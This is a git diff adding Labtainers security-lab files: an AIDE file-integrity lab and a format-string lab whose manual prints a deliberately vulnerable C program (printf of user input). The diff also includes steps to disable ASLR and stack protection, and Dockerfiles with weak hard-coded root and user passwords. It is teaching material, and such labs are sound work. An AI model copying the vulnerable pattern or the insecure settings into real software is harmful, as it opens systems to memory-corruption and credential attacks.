+recovered_file2 = boolean : _file2_recover and_not _file2_present diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/results.config new file mode 100644 index 000000000..e209e4406 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +strings_td_myfs = .bash_history : STRING_COUNT : strings -td myfs.img +hexdump = .bash_history : STRING_COUNT : hexdump -C myfs.img +ntfsundelete_p = .bash_history : STRING_COUNT : ntfsundelete -p 100 ntfs.img +# +# see the treataslocal file for example of identifying program output "prgout" +# +_file2_recover = dd.prgout : CONTAINS : Second file created +# see if file2 is still in the file system +_file2_present = precheck.stdout : CONTAINS : file2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/about.txt new file mode 100644 index 000000000..9eaaf30d7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/about.txt @@ -0,0 +1 @@ +File integrity checking and intrustion detetion with AIDE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/start.config new file mode 100644 index 000000000..428225faa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/start.config @@ -0,0 +1,52 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER file-integrity + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED integrity_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER file-integrity + # user name of user who interacts with the container. + USER Joe + PASSWORD password4joe + X11 YES + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + SCRIPT NONE + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/dockerfiles/Dockerfile.file-integrity.file-integrity.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/dockerfiles/Dockerfile.file-integrity.file-integrity.student new file mode 100644 index 000000000..8aa2c0124 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/dockerfiles/Dockerfile.file-integrity.file-integrity.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +RUN yum install -y aide e4fsprogs +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN echo "root:badpassword" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/Makefile new file mode 100644 index 000000000..c33d1b2f4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/Makefile @@ -0,0 +1,6 @@ +file-integrity.pdf: file-integrity.docx + soffice --convert-to pdf file-integrity.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity-Template.docx new file mode 100755 index 000000000..b5e65335c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.docx new file mode 100755 index 000000000..cb77f9877 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/read_first.txt new file mode 100644 index 000000000..2d4d96f9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/file-integrity.pdf +The report template at + file://LAB_DOCS/file-integrity-Template.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_bin/treataslocal new file mode 100644 index 000000000..e7794243b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_bin/treataslocal @@ -0,0 +1 @@ +diff diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_system/etc/aide.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_system/etc/aide.conf new file mode 100644 index 000000000..27348a3eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_system/etc/aide.conf @@ -0,0 +1,309 @@ +# Example configuration file for AIDE. + +@@define DBDIR /var/lib/aide +@@define LOGDIR /var/log/aide + +# The location of the database to be read. +database=file:@@{DBDIR}/aide.db.gz + +# The location of the database to be written. +#database_out=sql:host:port:database:login_name:passwd:table +#database_out=file:aide.db.new +database_out=file:@@{DBDIR}/aide.db.new.gz + +# Whether to gzip the output to database. +gzip_dbout=yes + +# Default. +verbose=5 + +report_url=file:@@{LOGDIR}/aide.log +report_url=stdout +#report_url=stderr +#NOT IMPLEMENTED report_url=mailto:root@foo.com +#NOT IMPLEMENTED report_url=syslog:LOG_AUTH + +# These are the default rules. +# +#p: permissions +#i: inode: +#n: number of links +#u: user +#g: group +#s: size +#b: block count +#m: mtime +#a: atime +#c: ctime +#S: check for growing size +#acl: Access Control Lists +#selinux SELinux security context +#xattrs: Extended file attributes +#md5: md5 checksum +#sha1: sha1 checksum +#sha256: sha256 checksum +#sha512: sha512 checksum +#rmd160: rmd160 checksum +#tiger: tiger checksum + +#haval: haval checksum (MHASH only) +#gost: gost checksum (MHASH only) +#crc32: crc32 checksum (MHASH only) +#whirlpool: whirlpool checksum (MHASH only) + +FIPSR = p+i+n+u+g+s+m+c+acl+selinux+xattrs+sha256 + +#R: p+i+n+u+g+s+m+c+acl+selinux+xattrs+md5 +#L: p+i+n+u+g+acl+selinux+xattrs +#E: Empty group +#>: Growing logfile p+u+g+i+n+S+acl+selinux+xattrs + +# You can create custom rules like this. +# With MHASH... +# ALLXTRAHASHES = sha1+rmd160+sha256+sha512+whirlpool+tiger+haval+gost+crc32 +ALLXTRAHASHES = sha1+rmd160+sha256+sha512+tiger + +# Everything but access time (Ie. all changes) +EVERYTHING = R+ALLXTRAHASHES + +NORMAL = sha256+rmd160+sha512+tiger + +# For directories, don't bother doing hashes. +DIR = p+i+n+u+g+acl+selinux+xattrs + +# Access control only. +PERMS = p+u+g+acl+selinux+xattrs + +# Access + inode changes + file type. +STATIC = p+u+g+acl+selinux+xattrs+i+n+b+c+ftype + +# Logfiles only check access w/o xattrs. +LOG = p+u+g+n+acl+selinux+ftype + +# Content + file type. +CONTENT = sha256+ftype + +# Extended content + file type + access. +CONTENT_EX = sha256+ftype+p+u+g+n+c+acl+selinux+xattrs + +# Some files get updated automatically, so the inode/ctime/mtime change +# but we want to know when the data inside them changes. +DATAONLY = p+n+u+g+s+acl+selinux+xattrs+sha256 + +# Next decide what directories/files you want in the database. Aide +# uses a first match system. Put file specific instructions before generic +# matches. e.g. Put file matches before directories. + +/boot/ CONTENT_EX +#/bin/ CONTENT_EX +/sbin/ CONTENT_EX +/lib/ CONTENT_EX +/lib64/ CONTENT_EX +/opt/ CONTENT + +# Admin's dot files constantly change, just check perms. +/root/\..* PERMS +# Otherwise get all of /root. +/root/ CONTENT_EX + +# These are too volatile. +!/usr/src/ +!/usr/tmp/ +# Otherwise get all of /usr. +/usr/ CONTENT_EX + +# Check only permissions, user, group, seliunx for /etc, but +# cover some important files closely. +!/etc/mtab$ + +# Ignore backup files +!/etc/.*~ + +# trusted databases +/etc/hosts$ CONTENT_EX +/etc/host.conf$ CONTENT_EX +/etc/hostname$ CONTENT_EX +/etc/issue$ CONTENT_EX +/etc/issue.net$ CONTENT_EX +/etc/protocols$ CONTENT_EX +/etc/services$ CONTENT_EX +/etc/localtime$ CONTENT_EX +/etc/alternatives/ CONTENT_EX +/etc/mime.types$ CONTENT_EX +/etc/terminfo/ CONTENT_EX +/etc/exports$ CONTENT_EX +/etc/fstab$ CONTENT_EX +/etc/passwd$ CONTENT_EX +/etc/group$ CONTENT_EX +/etc/gshadow$ CONTENT_EX +/etc/shadow$ CONTENT_EX +/etc/security/opasswd$ CONTENT_EX +/etc/skel/ CONTENT_EX + +# networking +/etc/hosts.allow$ CONTENT_EX +/etc/hosts.deny$ CONTENT_EX +/etc/firewalld/ CONTENT_EX +/etc/NetworkManager/ CONTENT_EX +/etc/networks$ CONTENT_EX +/etc/dhcp/ CONTENT_EX +/etc/wpa_supplicant/ CONTENT_EX +/etc/resolv.conf$ DATAONLY +/etc/nscd.conf$ NORMAL + +# logins and accounts +/etc/login.defs$ CONTENT_EX +/etc/libuser.conf$ CONTENT_EX +/var/log/faillog$ PERMS +/var/log/lastlog$ PERMS +/var/run/faillock/ PERMS +/etc/pam.d/ CONTENT_EX +/etc/security$ CONTENT_EX +/etc/securetty$ CONTENT_EX +/etc/polkit-1/ CONTENT_EX +/etc/sudo.conf$ CONTENT_EX +/etc/sudoers$ CONTENT_EX +/etc/sudoers.d/ CONTENT_EX + +# Shell/X starting files +/etc/profile$ CONTENT_EX +/etc/profile.d/ CONTENT_EX +/etc/bashrc$ CONTENT_EX +/etc/bash_completion.d/ CONTENT_EX +/etc/zprofile$ CONTENT_EX +/etc/zshrc$ CONTENT_EX +/etc/zlogin$ CONTENT_EX +/etc/zlogout$ CONTENT_EX +/etc/X11/ CONTENT_EX +/etc/shells$ CONTENT_EX + +# Pkg manager +/etc/yum.conf$ CONTENT_EX +/etc/yumex.conf$ CONTENT_EX +/etc/yumex.profiles.conf$ CONTENT_EX +/etc/yum/ CONTENT_EX +/etc/yum.repos.d/ CONTENT_EX + +# This gets new/removes-old filenames daily. +!/var/log/sa/ +# As we are checking it, we've truncated yesterdays size to zero. +!/var/log/aide.log + +# auditing +# AIDE produces an audit record, so this becomes perpetual motion. +# /var/log/audit/ PERMS+ANF+ARF +/etc/audit/ CONTENT_EX +/etc/audisp/ CONTENT_EX +/etc/libaudit.conf$ CONTENT_EX +/etc/aide.conf$ CONTENT_EX + +# System logs +/etc/rsyslog.d/ CONTENT_EX +/etc/logrotate.conf$ CONTENT_EX +/etc/logrotate.d/ CONTENT_EX +/var/log/ LOG+ANF+ARF +/var/run/utmp$ LOG + +# secrets +/etc/pkcs11/ CONTENT_EX +/etc/pki/ CONTENT_EX +/etc/ssl/ CONTENT_EX +/etc/certmonger/ CONTENT_EX + +# init system +/etc/systemd/ CONTENT_EX +/etc/sysconfig/ CONTENT_EX +/etc/rc.d/ CONTENT_EX +/etc/tmpfiles.d/ CONTENT_EX +/etc/machine-id$ CONTENT_EX + +# boot config +/etc/grub.d/ CONTENT_EX +/etc/grub2.cfg$ CONTENT_EX +/etc/dracut.conf$ CONTENT_EX +/etc/dracut.conf.d/ CONTENT_EX + +# glibc linker +/etc/ld.so.cache$ CONTENT_EX +/etc/ld.so.conf$ CONTENT_EX +/etc/ld.so.conf.d/ CONTENT_EX + +# kernel config +/etc/sysctl.conf$ CONTENT_EX +/etc/sysctl.d/ CONTENT_EX +/etc/modprobe.d/ CONTENT_EX +/etc/modules-load.d/ CONTENT_EX +/etc/depmod.d/ CONTENT_EX +/etc/udev/ CONTENT_EX +/etc/crypttab$ CONTENT_EX + +#### Daemons #### + +# cron jobs +/var/spool/at/ CONTENT +/etc/at.allow$ CONTENT +/etc/at.deny$ CONTENT +/etc/cron.allow$ CONTENT_EX +/etc/cron.deny$ CONTENT_EX +/etc/cron.d/ CONTENT_EX +/etc/cron.daily/ CONTENT_EX +/etc/cron.hourly/ CONTENT_EX +/etc/cron.monthly/ CONTENT_EX +/etc/cron.weekly/ CONTENT_EX +/etc/crontab$ CONTENT_EX +/var/spool/cron/root/ CONTENT +/etc/anacrontab$ CONTENT_EX + +# time keeping +/etc/ntp.conf$ CONTENT_EX +/etc/ntp/ CONTENT_EX +/etc/chrony.conf$ CONTENT_EX +/etc/chrony.keys$ CONTENT_EX + +# mail +/etc/aliases$ CONTENT_EX +/etc/aliases.db$ CONTENT_EX +/etc/postfix/ CONTENT_EX +/etc/mail.rc$ CONTENT_EX +/etc/mailcap$ CONTENT_EX + +# ssh +/etc/ssh/sshd_config$ CONTENT_EX +/etc/ssh/ssh_config$ CONTENT_EX + +# stunnel +/etc/stunnel/ CONTENT_EX + +# ftp +/etc/vsftpd.conf$ CONTENT +/etc/vsftpd/ CONTENT + +# printing +/etc/cups/ CONTENT_EX +/etc/cupshelpers/ CONTENT_EX +/etc/avahi/ CONTENT_EX + +# web server +/etc/httpd/ CONTENT_EX + +# dns +/etc/named/ CONTENT_EX +/etc/named.conf$ CONTENT_EX +/etc/named.iscdlv.key$ CONTENT_EX +/etc/named.rfc1912.zones$ CONTENT_EX +/etc/named.root.key$ CONTENT_EX + +# xinetd +/etc/xinetd.d/ CONTENT_EX + +# Now everything else in /etc. +/etc/ PERMS + +# With AIDE's default verbosity level of 5, these would give lots of +# warnings upon tree traversal. It might change with future version. +# +#=/lost\+found DIR +#=/home DIR + +# Ditto /var/log/sa/ same reason... +!/var/log/httpd/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/file-integrity/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/goals.config new file mode 100644 index 000000000..0054eb1b0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/goals.config @@ -0,0 +1,9 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +#SUM: Just counts of invoking different utilities +sha1sum_count = value : sha1sum +sha1sum_check_count = value : sha1sum_check +aide_init_count = value : aide_init +aide_check_count = value : aide_check diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/results.config new file mode 100644 index 000000000..cc2f20d1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +sha1sum = /root/.bash_history : STRING_COUNT : sha1sum +sha1sum_check = /root/.bash_history : STRING_COUNT : sha1sum --check +diff_dummy = diff.stdout : CONTAINS : /usr/bin/dummyfile +aide_init = /root/.bash_history : STRING_COUNT : aide --init +aide_check = /root/.bash_history : STRING_COUNT : aide --check diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/about.txt new file mode 100644 index 000000000..888089602 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/about.txt @@ -0,0 +1 @@ +Explore C library printf function vulnerabilities. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/start.config new file mode 100644 index 000000000..ea75ff169 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/start.config @@ -0,0 +1,19 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER formatstring + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED formatstring_mike_seed + +# Container nickname and settings +CONTAINER formatstring + USER ubuntu + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/dockerfiles/Dockerfile.formatstring.formatstring.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/dockerfiles/Dockerfile.formatstring.formatstring.student new file mode 100644 index 000000000..dd149f06d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/dockerfiles/Dockerfile.formatstring.formatstring.student @@ -0,0 +1,15 @@ +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Figs/Format_String_Attack.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Figs/Format_String_Attack.pdf new file mode 100644 index 000000000..e7321e95b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Figs/Format_String_Attack.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Figs/Format_String_Stack.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Figs/Format_String_Stack.pdf new file mode 100644 index 000000000..79512443d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Figs/Format_String_Stack.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex new file mode 100644 index 000000000..0e29cf56e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex @@ -0,0 +1,492 @@ +\input{header} + +%\documentclass{article} +%\usepackage{graphicx} +%\usepackage{color} +%\usepackage[latin1]{inputenc} +%\usepackage{lgrind} + +%\input {highlight.sty} + +\lhead{\bfseries SEED Labs -- Format String Vulnerability Lab} + + +\begin{document} + +\begin{center} +{\LARGE Format String Vulnerability Lab} +\end{center} + +\copyrightnotice + + +\section{Lab Overview} + +The learning objective of this lab is for students to gain the first-hand +experience on format-string vulnerability by putting what they have learned +about the vulnerability from class into actions. +The format-string vulnerability is caused by code like +{\tt printf(user\_input)}, where the contents of variable +of {\tt user\_input} is provided by users. +This {\tt printf} +statement can become dangerous, because it can lead to one of the following +consequences: (1) crash the +program, (2) read from an arbitrary memory place, and (3) modify +the values of an arbitrary memory location. The last consequence +is very dangerous because it can allow users to modify internal +variables of the program, and thus change the behavior +of the program. + + +In this lab, students will be given a program with a format-string +vulnerability; their task is to develop a scheme to exploit +the vulnerability. In addition to the +attacks, students will be guided to walk through a protection +scheme that can be used to defeat this type of attacks. +Students need to evaluate +whether the scheme work or not and explain why. + + +\subsection{Getting Started} +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: +\begin{verbatim} + labtainer formatstring +\end{verbatim} + +The resulting virtual terminal will include +a bash shell. The vuln\_prog.c +described below be in your home directory. + +\section{Lab Tasks} + +\subsection{Task 1: Exploit the vulnerability} +Before beginning this task, nsure that Address Space Layout Randomization (ASLR) is enabled: +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=2 +\end{verbatim} +In the following program, you will be asked to provide an input, which +will be saved in a buffer called {\tt user\_input}. +The program then prints out the buffer using {\tt printf}. +Unfortunately, there is a format-string vulnerability in the way +the {\tt printf} is called on the user inputs. We want to exploit +this vulnerability and see what we can achieve. + +The program has two secret values stored in its memory, +and you are interested in these secret values. However, +the secret values are unknown to you, nor can you find them from reading the +binary code (for the sake of simplicity, we hardcode the secrets +using constants 0x$44$ and 0x$55$). +Although you do not know the secret values, in practice, +it is not so difficult to find out +the memory address (the range or the exact value) of them (they are +in consecutive addresses), because +for many operating systems, the addresses are exactly the same anytime you +run the program. +In this lab, we just assume that you have already known the exact addresses. +To achieve this, +the program ``intentionally'' prints out the addresses for you. With such +knowledge, your goal is to achieve the followings (not necessarily at the +same time): +\begin{itemize} +\item Crash the program. +\item Print out the secret[1] value. +\item Modify the secret[1] value. +\item Modify the secret[1] value to equal 0xa. +\end{itemize} + +For this lab task, you are not to modify the code. Namely, you need to achieve +the above objectives without modifying the vulnerable code. +However, you do have a copy of the source code, which can help +you design your attacks. + +\begin{lstlisting} +/* vul_prog.c */ +#include +#include + +#define SECRET1 0x44 +#define SECRET2 0x55 + +int main(int argc, char *argv[]) +{ + char user_input[100]; + int *secret; + int int_input; + int a, b, c, d; /* other variables, not used here.*/ + + /* The secret value is stored on the heap */ + secret = (int *) malloc(2*sizeof(int)); + + /* getting the secret */ + secret[0] = SECRET1; secret[1] = SECRET2; + + printf("The variable secret's address is 0x%8x (on stack)\n", + (unsigned int)&secret); + printf("The variable secret's value is 0x%8x (on heap)\n", + (unsigned int)secret); + printf("secret[0]'s address is 0x%8x (on heap)\n", + (unsigned int)&secret[0]); + printf("secret[1]'s address is 0x%8x (on heap)\n", + (unsigned int)&secret[1]); + + printf("Please enter a decimal integer\n"); + scanf("%d", &int_input); /* getting an input from user */ + printf("Please enter a string\n"); + scanf("%s", user_input); /* getting a string from user */ + + /* Vulnerable place */ + printf(user_input); + printf("\n"); + + /* Verify whether your attack is successful */ + printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); + printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]); + return 0; +} +\end{lstlisting} + + +\paragraph{Hints:} +From the printout, you will find out that {\tt secret[0]} and +{\tt secret[1]} are located on the heap, i.e., the actual +secrets are stored on the heap. We also know that +the address of the first secret (i.e., the value of +the variable {\tt secret}) can be found on the stack, because +the variable {\tt secret} is allocated on the stack. +In other words, if you want to overwrite {\tt secret[0]}, its address +is already on the stack; your format string can take advantage +of this information. However, although {\tt secret[1]} is just +right after {\tt secret[0]}, its address is not available on the +stack. This poses a major challenge for your format-string exploit, +which needs to have the exact address right on the stack in order +to read or write to that address. + + + +\subsection{Task 2: Memory randomization} + +If the first scanf statement ({\tt scanf("\%d", int\_input)}) +does not exist, i.e., the program does not ask you to +enter an integer, the attack in Task 1 become more difficult +for those operating systems that have implemented address +randomization. Pay attention to the address of secret[0] (or secret[1]). +When you run the program once again, will you get the same +address? + +Address randomization is introduced to make a number of +attacks difficult, such as buffer overflow, format string, etc. +To appreciate the idea of address randomization, we will turn +off the address randomization in this task, and see whether the +format string attack on the previous vulnerable program (without +the first scanf statement) is still difficult. You can use the following +command to turn off the address randomization: + +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=0 +\end{verbatim} + + +After turning off the address randomization, your task is to +repeat the same task described in Task 1, but you have to +remove the first scanf statement ({\tt scanf("\%d", int\_input)}) +from the vulnerable program, and recompile it using: + +\begin{verbatim} + gcc -m32 -fno-stack-protector -g -o vul_prog vul_prog.c +\end{verbatim} + +\paragraph{How to let {\tt scanf} accept an arbitrary number?} +Usually, {\tt scanf} is going to pause for you to type inputs. +Sometimes, you want the program to take a number 0x05 (not the +character `5'). Unfortunately, when you type `5' at the input, {\tt scanf} +actually takes in the ASCII value of `5', which is 0x$35$, rather +than 0x$05$. The challenge is that in ASCII, 0x$05$ is not a typable +character, so there is no way we can type in this value. +One way to solve this problem is to use a file. +We can easily write a C program that stores 0x05 (again, not `5') +to a file (let us call it {\tt mystring}), then we can run the vulnerable program (let us +call it {\tt a.out}) with its input being redirected to {\tt mystring}; +namely, we run {\tt "a.out < mystring"}. This way, {\tt scanf} will take its +input from the file {\tt mystring}, instead 